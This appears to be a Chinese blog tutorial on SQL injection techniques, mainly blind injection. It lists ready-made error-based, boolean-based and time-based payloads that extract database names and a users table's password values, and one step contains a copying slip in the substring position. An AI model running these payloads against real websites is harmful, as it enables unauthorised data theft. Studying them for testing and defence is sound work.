詳解 SQL注入(盲注)

2021-10-08 18:15:57 字數 3213 閱讀 1105

根據不同的標準,sql注入漏洞可以有不同的分類。

根據數字型別分類,sql注入分為兩大基本型別。

數字型拼接到sql語句中的引數,是以數字出現的,即引號兩邊沒有單雙引號。

字元型拼接到sql語句中的引數,是以文字出現的,即引號兩邊有單雙引號。

注入手法

聯合查詢(union query sql injection)

報錯注⼊(error-based sql injection)

布林盲注(boolean-based blind sql injection)

延時注⼊(time-based blink sql injection)

堆疊查詢(stacked queries sql injection)

由於聯合查詢已經在之前發布過詳細的相關介紹,在這裡不做過多敘述,可以看看我的其他部落格。

提交引數的方式

get 注入

post 注入

cookie 注入

http 注入…

注入點的位置

url 注入

搜尋框注入

登入框注入

…在疑似注入點的地方或者引數後面嘗試提交資料,從而進行判斷是否存在sql注入漏洞。

回顯

資料庫中的內容是否會回現在網頁中

資料庫報錯

資料庫報錯資訊是否會回顯在⽹⻚中

提交的資料是字元型還是數字型

如果是字元型資料,閉合⽅式是什麼?

布林型別的狀態

顯示的⻚⾯不同,形成對⽐

⻚⾯正常或者不正常

延時

讓資料庫沉睡響應的秒數

注入點判斷-例項一

#有回顯,資料庫中的內容會顯示在⽹⻚中

』#出現資料庫報錯,syntax to use near 』 』 』 at line 1

#數字型注入

?id=34 and 1=1

?id=34 and 1=2

#有布林型別狀態

?id=34 and sleep(5)

#有延時

注入點判斷-例項二

#有回顯

』#出現資料庫報錯,syntax to use near 』 』 1』 』 』 limit 0,1 at line 1

#字元型注入

#閉合方式[ 』 ]

?id=1』 and 1=1–+

?id=1』 and 1=2–+

#有布林型別

?id=1』 and sleep(5) --+

#有延時

group by 重複鍵衝突

?id=22 and (select 1 from (select count(* ) , concat(0x5e, (select database( )),0x5e, floor(rand()*2))x from information_ schema. tables group by x)a)

?id=22 and (select 1 from (select count(* ) , concat(0x5e, (select password from cms_users limit 0,1),0x5e, floor(rand()*2))x from information_ schema. tables group by x)a)

extractvalue

?id=2 and extractvalue(1,concat(0x5e,(select database()),0x5e))

#select database() 查詢的內容可以根據自己的情況改變

updatexml

?id=2 and updatexml(1,concat(0x5e,(select database()),0x5e),1)

?id=2 and updatexml(1,concat(0x5e,(select substr(password,1,16) from

cms_users),0x5e),1)

?id=2 and updatexml(1,concat(0x5e,(select substr(password,17,32) from

cms_users),0x5e),1)

頁面中有布林型別狀態,可以根據布林型別狀態對資料庫內容進行判斷.

資料庫名爆破

?id=33 and database()=『***』

#不知道資料庫名有多少位

#不知道資料庫名的字元集合

#爆破成本很⾼

資料庫名稱的長度

?id=33 and length (database())=3

#⻚⾯正常,說明資料庫名字的⻓度是3

按位測試

#第一位

?id=33 and ascii(substr(database(),1,1))=99

#99#c

#第二位

?id=33 and ascii(substr(database(),2,1))=109

#99 109

#c m

#第三位

?id=33 and ascii(substr(database(),2,1))=115

#99 109 115

#c m s

爆破出資料庫的名稱是 cms

利用sleep()語句的延時性,以時間線作為判斷條件,和布林型別的注入一樣屬於盲注

資料庫名字的長度

?id=2』 and if(length(database())=8,sleep(5),1) --+

#頁面有延時,說明猜對了

資料庫名字

?id=2』 and if(ascii(substr(database(),3,1))=99,sleep(5),1) --+

#115 101 99

#s e c

sql注入 盲注

一,盲注介紹 所謂盲注就是在伺服器沒有錯誤回顯的時候完成注入攻擊。盲注分為布林盲注和時間盲注 布林盲注 boolean 根據注入資訊返回true or fales 沒有任何報錯資訊 時間盲注 介面返回值ture 無論輸入任何值,返回的情況都是正常的來處。加入特定的時間函式,通過檢視web頁面返回的時...

sql注入 盲注

一,盲注介紹 所謂盲注就是在伺服器沒有錯誤回顯的時候完成注入攻擊。盲注分為布林盲注和時間盲注 布林盲注 boolean 根據注入資訊返回true or fales 沒有任何報錯資訊 時間盲注 介面返回值ture 無論輸入任何值,返回的情況都是正常的來處。加入特定的時間函式,通過檢視web頁面返回的時...

SQL注入 盲注

遮蔽了報錯資訊,攻擊者無法使用報錯資訊來進行注入判斷。1.boolean 盲注 無論輸入什麼只會顯示真與假 2.時間盲注 頁面沒有任何的顯示,通過時間的延遲來判斷是否存在注入 是無論輸入什麼,結果只返回真和假兩種結果。判斷資料庫名的長度 length database x 判斷表名 substr d...